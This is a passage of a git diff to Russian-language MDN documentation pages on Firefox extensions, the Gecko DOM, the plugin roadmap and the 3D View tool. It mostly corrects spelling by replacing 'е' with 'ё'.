b/files/ru/orphaned/переход_с_internet_explorer_на_mozilla/index.html @@ -6,6 +6,6 @@ original_slug: Переход_с_Internet_Explorer_на_Mozilla <h3 id=".D0.92.D0.B2.D0.B5.D0.B4.D0.B5.D0.BD.D0.B8.D0.B5">Введение</h3> <p>Когда Netscape запустила броузер Mozilla, было решено поддерживать стандарт W3C. В результате, Mozilla не полностью совместима с Netscape Navigator 4.x и Microsoft Internet Explorer; например, Mozilla не поддерживает <code><layer></code>, я расскажу об этом позже. Броузеры, такие как Internet Explorer 4, были разработаны до утверждения стандарта W3C, и имеют много индивидуальных особенностей. В этом ключе, я опишу особенности Mozilla, с поддержкой строгого стиля HTML в сочетании с Internet Explorer и другими используемыми броузерами.</p> <p>Впрочем я опишу как нестандартизированные технологии, такие как XMLHttpRequest, так и богатые возможности представления текста, которые Mozilla поддерживает согласно стандарту W3C. Они включают:</p> -<ul> <li>HTML 4.01, XHTML 1.0 и XHTML 1.1</li> <li>Каскадные таблицы стилей (CSS): CSS 1, CSS 2.1 и частично CSS 3</li> <li>Объектная модель документа (DOM): DOM 1, DOM 2 и частично DOM 3</li> <li>Математический язык разметки: MathML 2.0</li> <li>Расширяемый язык разметки (XML): XML 1.0, Пространство имен в XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML</li> <li>XSL Традиционно: XSLT 1.0</li> <li>XML Часть языка: XPath 1.0</li> <li>Resource Description Framework: RDF</li> <li>Simple Object Access Protocol: SOAP 1.1</li> <li>ECMA-262, revision 3 (JavaScript 1.5): ECMA-262</li> +<ul> <li>HTML 4.01, XHTML 1.0 и XHTML 1.1</li> <li>Каскадные таблицы стилей (CSS): CSS 1, CSS 2.1 и частично CSS 3</li> <li>Объектная модель документа (DOM): DOM 1, DOM 2 и частично DOM 3</li> <li>Математический язык разметки: MathML 2.0</li> <li>Расширяемый язык разметки (XML): XML 1.0, Пространство имён в XML, Associating Style Sheets with XML Documents 1.0, Fragment Identifier for XML</li> <li>XSL Традиционно: XSLT 1.0</li> <li>XML Часть языка: XPath 1.0</li> <li>Resource Description Framework: RDF</li> <li>Simple Object Access Protocol: SOAP 1.1</li> <li>ECMA-262, revision 3 (JavaScript 1.5): ECMA-262</li> </ul> <p> </p> diff --git a/files/ru/orphaned/создание_расширения/index.html b/files/ru/orphaned/создание_расширения/index.html index bc46b037c6..bfa7397637 100644 --- a/files/ru/orphaned/создание_расширения/index.html +++ b/files/ru/orphaned/создание_расширения/index.html @@ -17,7 +17,7 @@ original_slug: Создание_расширения <h3 id=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D1.80.D0.BE.D0.B5.D0.BA.D1.82.D0.B0_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F" name=".D0.A1.D0.BE.D0.B7.D0.B4.D0.B0.D0.BD.D0.B8.D0.B5_.D0.BF.D1.80.D0.BE.D0.B5.D0.BA.D1.82.D0.B0_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F">Создание проекта расширения</h3> -<p>Расширения состоят из нескольких файлов и для корректной его работы необходимо придерживаться определенных правил их расположения в директориях. Вот структура типичного расширения:</p> +<p>Расширения состоят из нескольких файлов и для корректной его работы необходимо придерживаться определённых правил их расположения в директориях. Вот структура типичного расширения:</p> <pre class="eval">/myExtension: /install.rdf @@ -105,9 +105,9 @@ original_slug: Создание_расширения <p>Интерфейс Firefox написан на XUL и JavaScript. <a href="/ru/XUL" title="ru/XUL">XUL</a> - это язык, основанный на XML. Он отвечает за визуальную часть интерфейса. JavaScript реализует функциональность через привязку к действиям пользователя.</p> -<p>Так как визуально браузер строится на XUL, то, следовательно, он весь представляется в виде XML-файла. Вы можете посмотреть на него (это будет полезно для четкого понимания своих дальнейших действий). Зайдите в папку установки Firefox, откройте там папку chrome. В ней будет <code>browser.jar</code>. Несмотря на расширение, этот файл - обычный zip-архив. Внутри него вы найдете файл <code>content/browser/browser.xul</code>. Открыв его, можно полюбоваться на общую структуру визуальной части браузера. Пусть вас не смущает большое количество непонятных пока строк - во всем разберетесь позже. Собственно, корневым узлом этого XML-файла является элемент <code>window</code>, содержащиеся в нем узлы - это отдельные элементы интерфейса. Например, вы можете найти кнопку обновления страницы (поищите узел с <code>id="reload-button"</code>) или пункт меню "Правка" (<code>id="edit-menu"</code>).</p> +<p>Так как визуально браузер строится на XUL, то, следовательно, он весь представляется в виде XML-файла. Вы можете посмотреть на него (это будет полезно для чёткого понимания своих дальнейших действий). Зайдите в папку установки Firefox, откройте там папку chrome. В ней будет <code>browser.jar</code>. Несмотря на расширение, этот файл - обычный zip-архив. Внутри него вы найдёте файл <code>content/browser/browser.xul</code>. Открыв его, можно полюбоваться на общую структуру визуальной части браузера. Пусть вас не смущает большое количество непонятных пока строк - во всем разберётесь позже. Собственно, корневым узлом этого XML-файла является элемент <code>window</code>, содержащиеся в нем узлы - это отдельные элементы интерфейса. Например, вы можете найти кнопку обновления страницы (поищите узел с <code>id="reload-button"</code>) или пункт меню "Правка" (<code>id="edit-menu"</code>).</p> -<p>Так вот, суть расширения интерфейса браузера состоит в том, что мы берем некий узел из браузера, описываем его в своем файле с необходимыми нам изменениями, например, добавляя к нему новые дочерние узлы. Таким образом можно добавить новые кнопки в панель инструментов (или создать новую панель и поместить ее в нужное место), добавить новый пункт меню (как рядом со "Справкой" так и в подменю, скажем, "Инструменты" (Tools)). Это технология называется <a href="/en/XUL_Overlays">en:XUL Overlays</a>.</p> +<p>Так вот, суть расширения интерфейса браузера состоит в том, что мы берём некий узел из браузера, описываем его в своём файле с необходимыми нам изменениями, например, добавляя к нему новые дочерние узлы. Таким образом можно добавить новые кнопки в панель инструментов (или создать новую панель и поместить её в нужное место), добавить новый пункт меню (как рядом со "Справкой" так и в подменю, скажем, "Инструменты" (Tools)). Это технология называется <a href="/en/XUL_Overlays">en:XUL Overlays</a>.</p> <p>В нашем случае мы добавим новый элемент в строку статуса. В файле <code>browser.xul</code> можно найти узел с <code>id="status-bar"</code>. Это и есть строка статуса. В этом узле есть несколько дочерних узлов. Добавим к ним наш, который будет описывать новую панель. Создайте файл, назовите его, скажем, <code><strong>sample.xul</strong></code> и поместите в папку <code>chrome/content</code>. Внесите туда такой код:</p> @@ -132,7 +132,7 @@ original_slug: Создание_расширения <ul> <li>протокол <code>chrome</code> говорит, что необходимо классифицировать и обработать содержимое файла как хром.</li> - <li>название пакета (в данном случае, это <code>browser</code>), указывающий на "сверток" (bundle) компонентов интерфейса. Это название уникально для каждого приложения/расширения.</li> + <li>название пакета (в данном случае, это <code>browser</code>), указывающий на "свёрток" (bundle) компонентов интерфейса. Это название уникально для каждого приложения/расширения.</li> <li>тип запрашиваемых данных. Есть три типа: <code>content</code> (XUL, JavaScript, XBL Bindings и др., т.е. компоненты, формирующие вид и поведение интерфейса), <code>locale</code> (DTD, файлы propeties и т.п., производящие локализацию интерфейса) и <code>skin</code> (CSS и изображения для формирования темы интерфейса).</li> <li>файл для загрузки.</li> </ul> @@ -173,14 +173,14 @@ original_slug: Создание_расширения <h3 id=".D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5" name=".D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5">Тестирование</h3> -<p>Для начала необходимо уведомить Firefox о нашем расширении. Раньше (еще во времена Firefox 1.0) необходимо было упаковать расширение как <a href="/en/XPI">en:XPI</a> и установить через интерфейс браузера. Теперь же достаточно просто указать Firefox, где находится папка с вашим расширением - и он будет подключать его каждый раз при загрузке.</p> +<p>Для начала необходимо уведомить Firefox о нашем расширении. Раньше (ещё во времена Firefox 1.0) необходимо было упаковать расширение как <a href="/en/XPI">en:XPI</a> и установить через интерфейс браузера. Теперь же достаточно просто указать Firefox, где находится папка с вашим расширением - и он будет подключать его каждый раз при загрузке.</p> <p>Итак, ваши действия:</p> <ol> <li>Найдите папку с вашим профилем. Если вы не создавали его специально, браузер использует профиль по умолчанию.<br> <a class="external" href="http://kb.mozillazine.org/Profile_folder">Как найти папку с профилем.</a></li> - <li>Откройте папку <code>extensions</code>. Если ее нет, создайте ее.</li> + <li>Откройте папку <code>extensions</code>. Если её нет, создайте ее.</li> <li>Создайте новый текстовый файл и поместите в него лишь путь к вашему расширению (напр., <code>C:\extensions\my_extension\</code> для Windows или <code>~/extensions/my_extension/</code> для Unix/Linux). Сохраните файл под именем, одинаковым с <code>id</code> вашего расширения.</li> </ol> @@ -188,7 +188,7 @@ original_slug: Создание_расширения <ul> <li>Не забудьте завершающий слеш.</li> - <li>Возможно возникновение проблем из-за знаков нижнего подчеркивания в названии; если так вышло измените его.</li> + <li>Возможно возникновение проблем из-за знаков нижнего подчёркивания в названии; если так вышло измените его.</li> </ul> <p>Теперь вы готовы к тестированию вашего расширения. Запустите Firefox. Он увидит ссылку к вашему расширению и установит его. Если все прошло успешно, вы увидите надпись "Hello, World!" в строке статуса справа. Для внесения изменений достаточно править <code>xul</code>-файлы и перезапустить Firefox.</p> @@ -205,11 +205,11 @@ original_slug: Создание_расширения <h4 id=".D0.A1.D0.B0.D0.B9.D1.82_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D0.B9_addons.mozilla.org" name=".D0.A1.D0.B0.D0.B9.D1.82_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D0.B9_addons.mozilla.org">Сайт расширений addons.mozilla.org</h4> -<p>Сайт расширений Mozilla (<a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a>) является местом, где вы можете бесплатно разместить свое расширение. Сайт является надежным и удобным местом для распространения своих расширений: достаточно лишь зарегистрироваться - и вы сможете загружать свои файлы на сервер.</p> +<p>Сайт расширений Mozilla (<a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a>) является местом, где вы можете бесплатно разместить своё расширение. Сайт является надёжным и удобным местом для распространения своих расширений: достаточно лишь зарегистрироваться - и вы сможете загружать свои файлы на сервер.</p> <h4 id=".D0.A0.D0.B5.D0.B3.D0.B8.D1.81.D1.82.D1.80.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B2_.D1.80.D0.B5.D0.B5.D1.81.D1.82.D1.80.D0.B5_Windows" name=".D0.A0.D0.B5.D0.B3.D0.B8.D1.81.D1.82.D1.80.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B2_.D1.80.D0.B5.D0.B5.D1.81.D1.82.D1.80.D0.B5_Windows">Регистрирование расширения в реестре Windows</h4> -<p>В Windows информация о расширении может быть добавлена в реестр. Это дает дополнительный возможности при установке расширений. Подробнее об этом читайте здесь.</p> +<p>В Windows информация о расширении может быть добавлена в реестр. Это даёт дополнительный возможности при установке расширений. Подробнее об этом читайте здесь.</p> <h3 id=".D0.A3.D0.B7.D0.BD.D0.B0.D0.B9.D1.82.D0.B5_.D0.B1.D0.BE.D0.BB.D1.8C.D1.88.D0.B5_.D0.BE.D0.B1_.D0.BE.D0.B2.D0.B5.D1.80.D0.BB.D0.B5.D1.8F.D1.85_XUL" name=".D0.A3.D0.B7.D0.BD.D0.B0.D0.B9.D1.82.D0.B5_.D0.B1.D0.BE.D0.BB.D1.8C.D1.88.D0.B5_.D0.BE.D0.B1_.D0.BE.D0.B2.D0.B5.D1.80.D0.BB.D0.B5.D1.8F.D1.85_XUL">Узнайте больше об оверлеях XUL</h3> @@ -217,11 +217,11 @@ original_slug: Создание_расширения <h3 id=".D0.9B.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.9B.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F">Локализация</h3> -<p>Для поддержки более чем одного языка необходимо отделить локализуемые строки от основного содержания с помощью сущностей (entities) и "свертков строк" (string bundles). Гораздо проще делать это в течение разработки расширения, чем после.</p> +<p>Для поддержки более чем одного языка необходимо отделить локализуемые строки от основного содержания с помощью сущностей (entities) и "свёртков строк" (string bundles). Гораздо проще делать это в течение разработки расширения, чем после.</p> <p>Информация о локализации хранится в подпапке <code>locale</code> папки chrome (т.е. рядом с папкой <code>content</code>). В этой папке необходимо разместить столько папок, сколько локализаций вы намерены сделать. Обычной практикой является называть папки стандартными названиями локалей: скажем, папку с английской локализацией - <code>en-US</code>, русской - <code>ru-RU</code> и т.п., что, впрочем, не является обязательным. Теперь создайте в каждой из папок файл <code>somename.ent</code> (или <code>anothername.dtd</code>) (<em>имя одинаково во всех папках локализаций</em>) и заполните его соответствующим образом (показано ниже).</p> -<p>Локализуем наше расширение на русский и английский языки. После создания 2 папок (назовем их <code>ru-RU</code> и <code>en-US</code>), создаем в каждой из них файл (пусть <code>myStatusBar.ent</code>) Поместите в тот файл, который в папке с английской локализацией, следующую строку:</p> +<p>Локализуем наше расширение на русский и английский языки. После создания 2 папок (назовём их <code>ru-RU</code> и <code>en-US</code>), создаём в каждой из них файл (пусть <code>myStatusBar.ent</code>) Поместите в тот файл, который в папке с английской локализацией, следующую строку:</p> <pre class="eval"><!ENTITY statusbarpanel.label "Hello, World!"> </pre> diff --git a/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки/index.html b/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки/index.html index 40f1fb4b05..f1af432fe0 100644 --- a/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки/index.html +++ b/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки/index.html @@ -15,7 +15,7 @@ original_slug: Создание_расширения/Настройка_Firefox_ </ul> <ol> <li>Откройте терминал.</li> <li>Введите "firefox -p".</li> </ol> -<p style="text-align: justify;">В открывшемся окне менеджера профилей нажмите кнопку "Создать". Далее следуйте инструкциям в менеджере. Он Вам предложит ввести для нового профиля название, для нашего пусть будет "Develop" (это уже на Ваше усмотрение), а так же предложит выбрать папку, где будет наш профиль храниться. Для папки экспериментального профиля подойдет открытое и, главное, доступное место, потому что может потребоваться в нем что-нибудь изменить руками или добавить какой-нибудь файл.</p> +<p style="text-align: justify;">В открывшемся окне менеджера профилей нажмите кнопку "Создать". Далее следуйте инструкциям в менеджере. Он Вам предложит ввести для нового профиля название, для нашего пусть будет "Develop" (это уже на Ваше усмотрение), а так же предложит выбрать папку, где будет наш профиль храниться. Для папки экспериментального профиля подойдёт открытое и, главное, доступное место, потому что может потребоваться в нем что-нибудь изменить руками или добавить какой-нибудь файл.</p> <p style="text-align: justify;">После того, как профиль создан, нажимаем на "Запуск Firefox". После запуска браузера вводим в адресную строку "about:config" и нажимаем Enter. На это браузер нам выдаст окно с предупреждением о возможности испортить программу, мы пообещаем ему быть осторожными.</p> <p style="text-align: justify;">В открывшемся меню Вы увидите множество строк с настройками браузера. Но в настройках "по умолчанию" вписаны не все нужные нам строки - ведь в повседневной жизни они не нужны. Для полноценной настройки экспериментального профиля Firefox следует добавить в настройки некоторые параметры. Для этого достаточно нажать правую кнопку мыши в любом месте списка и выбрать из контекстного меню пункт "Создать" --> "Логичкеское".</p> <ul> <li><strong>javascript.options.showInConsole = true </strong>- запись ошибок в файлах chrome в <a href="/en/Error_Console" title="en/Error_Console">консоль ошибок (англ.)</a>.</li> <li><strong>nglayout.debug.disable_xul_cache = true </strong>- выключение кеширования xul-объектов. При внесении изменений в окна и диалоги не потребуется перезапуск браузера. Однако, работает только при использовании простых папок, а не jar-архивов. Внесение же изменений в xul-оверлеи все таки потребует перезапуска браузера.</li> <li><strong>browser.dom.window.dump.enabled = true </strong>- позволяет выводить в стандартную консоль состояние дампа. Для получения информации смотри <a href="/en/DOM/window.dump">window.dump (англ.)</a></li> <li><strong>javascript.options.strict = true</strong> - принудительный вывод в консоль всех предупреждений JavaScript.</li> <li><strong>extensions.logging.enabled = true</strong> - вывод информации об инсталляции и обновлении в консоль ошибок.</li> diff --git a/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки_расширений/index.html b/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки_расширений/index.html index f85369e2e0..7269a58d65 100644 --- a/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки_расширений/index.html +++ b/files/ru/orphaned/создание_расширения/настройка_firefox_для_разработки_расширений/index.html @@ -6,7 +6,7 @@ original_slug: Создание_расширения/Настройка_Firefox_ <p>Прежде чем начать разработку расширения, желательно настроить для этого Firefox. Нужно это для того, чтобы не потерять нужные данные и не сбить настройки в повседневном профиле Firefox.</p> <h2 id="Создание_экспериментального_профиля_Firefox">Создание экспериментального профиля Firefox</h2> <p style="text-align: justify;">Firefox хранит свои настройки в так называемом профиле. Профиль это папка, содержащая файлы в которых и хранятся настройки программы, файлы расширений, локальный кеш браузера, информация о сессиях, файлы пользовательских закладок и прочее.</p> -<p style="text-align: justify;">Для того, чтобы не пришлось восстанавливать свои настройки после неудачного эксперимента с расширением, предлагается (на Ваше усмотрение, конечно) сделать профиль, который будет служить специально для разработки расширений и в нем будут внесен ряд небольших, но полезных изменений в глобальных настройках браузера.</p> +<p style="text-align: justify;">Для того, чтобы не пришлось восстанавливать свои настройки после неудачного эксперимента с расширением, предлагается (на Ваше усмотрение, конечно) сделать профиль, который будет служить специально для разработки расширений и в нем будут внесён ряд небольших, но полезных изменений в глобальных настройках браузера.</p> <p>Для создания профиля в Microsoft Windows сделайте следующее:</p> <ul> <li>Закройте все окна Firefox</li> <li>Нажмите кнопку "Пуск"</li> <li>Выберите меню "Выполнить"</li> <li>Впишите в строку "Путь_к_папке\с_программой\firefox.exe -no-remote -P имя_профиля"</li> </ul> diff --git a/files/ru/orphaned/справочная_информация_по_gecko_dom/введение/index.html b/files/ru/orphaned/справочная_информация_по_gecko_dom/введение/index.html index 62486747ec..2a17f1d4ce 100644 --- a/files/ru/orphaned/справочная_информация_по_gecko_dom/введение/index.html +++ b/files/ru/orphaned/справочная_информация_по_gecko_dom/введение/index.html @@ -46,14 +46,14 @@ p_list = doc.getElementsByTagName("para"); <p><span id="result_box" lang="ru"><span>Вам не нужно делать что-то особенное, чтобы начать использовать DOM.</span> <span>Различные браузеры имеют различные реализации DOM, и эти реализации демонстрируют различную степень соответствия действующему стандарту DOM (тема, которую мы пытаемся избежать в этой документации), но каждый веб-браузер использует некоторую объектную модель документа, чтобы сделать веб-страницы доступными для скрипта</span></span>.</p> -<p>Когда вы создаете код, <span id="result_box" lang="ru"><span>независимо от того, встроен ли он в элемент<code> <script></code> или включен в веб-страницу с помощью инструкции по загрузке скрипта извне, вы можете сразу начать использовать API для элементов</span></span> <code><a href="/en-US/docs/DOM/document" title="DOM/document">document</a></code> или <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code> для <span id="result_box" lang="ru"><span>манипулирования самим документом или получить</span> его дочерние элементы<span>, которые являются различными элементами веб-страницы.</span></span> Ваше программирование DOM может быть достаточно простым, как, например, следующий код, который выводит предупреждающее сообщение используя функцию <code><a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> из объекта <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>, <span id="result_box" lang="ru"><span>или может использовать более сложные методы DOM для создания нового контента, как в более длинном примере ниже</span></span>.</p> +<p>Когда вы создаёте код, <span id="result_box" lang="ru"><span>независимо от того, встроен ли он в элемент<code> <script></code> или включён в веб-страницу с помощью инструкции по загрузке скрипта извне, вы можете сразу начать использовать API для элементов</span></span> <code><a href="/en-US/docs/DOM/document" title="DOM/document">document</a></code> или <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code> для <span id="result_box" lang="ru"><span>манипулирования самим документом или получить</span> его дочерние элементы<span>, которые являются различными элементами веб-страницы.</span></span> Ваше программирование DOM может быть достаточно простым, как, например, следующий код, который выводит предупреждающее сообщение используя функцию <code><a href="/en-US/docs/DOM/window.alert" title="DOM/window.alert">alert()</a></code> из объекта <code><a href="/en-US/docs/DOM/window" title="DOM/window">window</a></code>, <span id="result_box" lang="ru"><span>или может использовать более сложные методы DOM для создания нового контента, как в более длинном примере ниже</span></span>.</p> <p>Следующий пример<span id="result_box" lang="ru"><span> кода JavaScript буде выводить предупреждение, когда загрузка документа завершена (и когда весь DOM доступен для использования).</span></span></p> <pre class="brush: html"><body onload="window.alert('Welcome to my home page!');"> </pre> -<p>Эта функция создает новый элемент H1, добавляет в него текст и, затем, добавляет <code>H1</code> в дерево данного документа:</p> +<p>Эта функция создаёт новый элемент H1, добавляет в него текст и, затем, добавляет <code>H1</code> в дерево данного документа:</p> <pre class="brush: html"><html> <head> @@ -61,7 +61,7 @@ p_list = doc.getElementsByTagName("para"); // запускает эту функцию, когда документ загружен window.onload = function() { - // создает пару элементов на пустой веб-странице + // создаёт пару элементов на пустой веб-странице var heading = document.createElement("h1"); var heading_text = document.createTextNode("Big Head!"); heading.appendChild(heading_text); @@ -137,9 +137,9 @@ table.summary = "note: increased border"; <p>This section lists some of the most commonly-used interfaces in the DOM. The idea is not to describe what these APIs do here but to give you an idea of the sorts of methods and properties you will see very often as you use the DOM. These common APIs are used in the longer examples in the <a href="/en-US/docs/Gecko_DOM_Reference/Examples" title="Gecko_DOM_Reference/Examples">DOM Examples</a> chapter at the end of this book.</p> -<p><code>Document</code> и <code>window</code> объекты <span id="result_box" lang="ru"><span>являются объектами, интерфейсы которых наиболее часто используются при программировании DOM.</span></span> Простыми словами, объект <code>window</code> представляет собой что-то вроде браузера, а объект <code>document</code> корень самого документа. <code>Element</code> наследуется от общего интерфейса <code>Node</code>, <span id="result_box" lang="ru"><span>и вместе эти два интерфейса предоставляют множество методов и свойств, которые вы используете для отдельных элементов</span></span>. <span id="result_box" lang="ru"><span>Эти элементы также могут иметь определенные интерфейсы для обработки данных, которые хранятся в этих элементах, как в примере объекта </span></span><code>table</code><span lang="ru"><span>в предыдущем разделе.</span></span></p> +<p><code>Document</code> и <code>window</code> объекты <span id="result_box" lang="ru"><span>являются объектами, интерфейсы которых наиболее часто используются при программировании DOM.</span></span> Простыми словами, объект <code>window</code> представляет собой что-то вроде браузера, а объект <code>document</code> корень самого документа. <code>Element</code> наследуется от общего интерфейса <code>Node</code>, <span id="result_box" lang="ru"><span>и вместе эти два интерфейса предоставляют множество методов и свойств, которые вы используете для отдельных элементов</span></span>. <span id="result_box" lang="ru"><span>Эти элементы также могут иметь определённые интерфейсы для обработки данных, которые хранятся в этих элементах, как в примере объекта </span></span><code>table</code><span lang="ru"><span>в предыдущем разделе.</span></span></p> -<p><span id="result_box" lang="ru"><span>Ниже приведен краткий список общих API-интерфейсов в сценариях веб-страниц и XML-страниц с использованием DOM.</span></span></p> +<p><span id="result_box" lang="ru"><span>Ниже приведён краткий список общих API-интерфейсов в сценариях веб-страниц и XML-страниц с использованием DOM.</span></span></p> <ul> <li><code><a href="/en-US/docs/DOM/document.getElementById" title="DOM/document.getElementById">document.getElementById</a>(id)</code></li> diff --git a/files/ru/orphaned/справочная_информация_по_gecko_dom/предисловие/index.html b/files/ru/orphaned/справочная_информация_по_gecko_dom/предисловие/index.html index db38e4b46e..1a364396b0 100644 --- a/files/ru/orphaned/справочная_информация_по_gecko_dom/предисловие/index.html +++ b/files/ru/orphaned/справочная_информация_по_gecko_dom/предисловие/index.html @@ -60,6 +60,6 @@ function testWinDoc() { </html> </pre> -<p>Похожие функции и страницы можно сделать для методов и свойств объектов, которые еще недоступны к использованию. См. параграф <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM/%d0%92%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5#.D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_DOM_API">Тестирование DOM API</a> для введения в средства тестирования, которые вы можете использовать для большого количества различных API.</p> +<p>Похожие функции и страницы можно сделать для методов и свойств объектов, которые ещё недоступны к использованию. См. параграф <a href="ru/%d0%a1%d0%bf%d1%80%d0%b0%d0%b2%d0%be%d1%87%d0%bd%d0%b0%d1%8f_%d0%b8%d0%bd%d1%84%d0%be%d1%80%d0%bc%d0%b0%d1%86%d0%b8%d1%8f_%d0%bf%d0%be_Gecko_DOM/%d0%92%d0%b2%d0%b5%d0%b4%d0%b5%d0%bd%d0%b8%d0%b5#.D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_DOM_API">Тестирование DOM API</a> для введения в средства тестирования, которые вы можете использовать для большого количества различных API.</p> <p>{{ languages( { "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}</p> diff --git a/files/ru/plugins/roadmap/index.html b/files/ru/plugins/roadmap/index.html index 0537cfcf94..31a24facee 100644 --- a/files/ru/plugins/roadmap/index.html +++ b/files/ru/plugins/roadmap/index.html @@ -20,7 +20,7 @@ original_slug: Plugins/План <dt>Сентябрь 2017</dt> <dd>Начиная с Firefox 56 в Сентябре 2017, в Firefox для Android будет удалена поддержка всех плагинов ({{bug(1381916)}}).</dd> <dt>2019</dt> - <dd>В Сентябре 2019, в Firefox 69 будет удалена надстройка во Flash под названием "Всегда включен", теперь мы будет всегда спрашивать ваше разрешение, прежде чем запустить плагин на сайте.</dd> + <dd>В Сентябре 2019, в Firefox 69 будет удалена надстройка во Flash под названием "Всегда включён", теперь мы будет всегда спрашивать ваше разрешение, прежде чем запустить плагин на сайте.</dd> <dt>2020</dt> <dd>В начале 2020, поддержка Flash будет полностью удалена из обычной версии Firefox. Firefox Extended Support Release (ESR) будет поддерживать Flash до конца 2020.</dd> <dt>2021</dt> @@ -52,7 +52,7 @@ original_slug: Plugins/План <li>Май 2014 - <a href="https://blog.chromium.org/2014/05/update-on-npapi-deprecation.html">Отказ от обновлений NPAPI</a></li> <li>Ноябрь 2014 - <a href="https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html">Финальный отсчёт по отказу от NPAPI</a></li> <li>Август 2016 - <a href="https://blog.google/products/chrome/flash-and-chrome/">Flash и Chrome</a></li> - <li>Декабрь 2016 -<a href="https://blog.chromium.org/2016/12/roll-out-plan-for-html5-by-default.html"> План развертывания HTML5 по умолчанию</a></li> + <li>Декабрь 2016 -<a href="https://blog.chromium.org/2016/12/roll-out-plan-for-html5-by-default.html"> План развёртывания HTML5 по умолчанию</a></li> <li>Июль 2017 - <a href="https://www.blog.google/products/chrome/saying-goodbye-flash-chrome/">Скажем прощай Flash в Chrome</a></li> </ul> diff --git a/files/ru/tools/3d_view/index.html b/files/ru/tools/3d_view/index.html index b5b8c0ded1..28f6dd0124 100644 --- a/files/ru/tools/3d_view/index.html +++ b/files/ru/tools/3d_view/index.html @@ -18,7 +18,7 @@ translation_of: Tools/3D_View <p><img alt="" class="default internal" src="/files/3625/3dview.png"></p> -<p><span id="result_box" lang="ru"><span>Нажимая и перетаскивая представление, вы можете поворачивать и переориентировать трехмерную презентацию иерархии DOM на своей странице, чтобы увидеть ее под разными углами, чтобы лучше изучить ее структуру.</span> <span>Элементы вне экрана становятся видимыми, чтобы вы могли видеть, где находятся ваши элементы по отношению к видимому контенту.</span> <span>Вы можете щелкнуть по элементам, чтобы увидеть их HTML на панели HTML или на панели «Стиль».</span> <span>И наоборот, вы можете щелкнуть элементы на панели поиска, чтобы изменить, какой элемент выбран в 3D-представлении.</span></span></p> +<p><span id="result_box" lang="ru"><span>Нажимая и перетаскивая представление, вы можете поворачивать и переориентировать трёхмерную презентацию иерархии DOM на своей странице, чтобы увидеть её под разными углами, чтобы лучше изучить её структуру.</span> <span>Элементы вне экрана становятся видимыми, чтобы вы могли видеть, где находятся ваши элементы по отношению к видимому контенту.</span> <span>Вы можете щёлкнуть по элементам, чтобы увидеть их HTML на панели HTML или на панели «Стиль».</span> <span>И наоборот, вы можете щёлкнуть элементы на панели поиска, чтобы изменить, какой элемент выбран в 3D-представлении.</span></span></p> <p><span id="result_box" lang="ru"><span>Если вы не видите кнопку 3D в инспекторе страницы, возможно, что ваш графический драйвер нуждается в обновлении.</span> <span>Дополнительную информацию см. На странице драйверов.</span></span></p> @@ -88,7 +88,7 @@ translation_of: Tools/3D_View <ul> <li><span id="result_box" lang="ru"><span>Если вы накосячили с HTML-макетом, просмотр 3D-вида поможет найти, где вы налажали.</span> <span>Часто проблемы структур вызваны неправильным вложением содержимого.</span> <span>Это будет более очевидным при использовании 3D-вида.</span></span></li> <li><span id="result_box" lang="ru"><span>Если контент не отображается, вы можете выяснить, почему;</span> <span>поскольку 3D-вид позволяет вам уменьшить масштаб, чтобы увидеть элементы, которые визуализируются за пределами видимой области страницы.</span></span></li> - <li><span id="result_box" lang="ru"><span>Вы можете посмотреть, как структурирована ваша страница, чтобы понять, стоит ли ее оптимизировать.</span></span></li> + <li><span id="result_box" 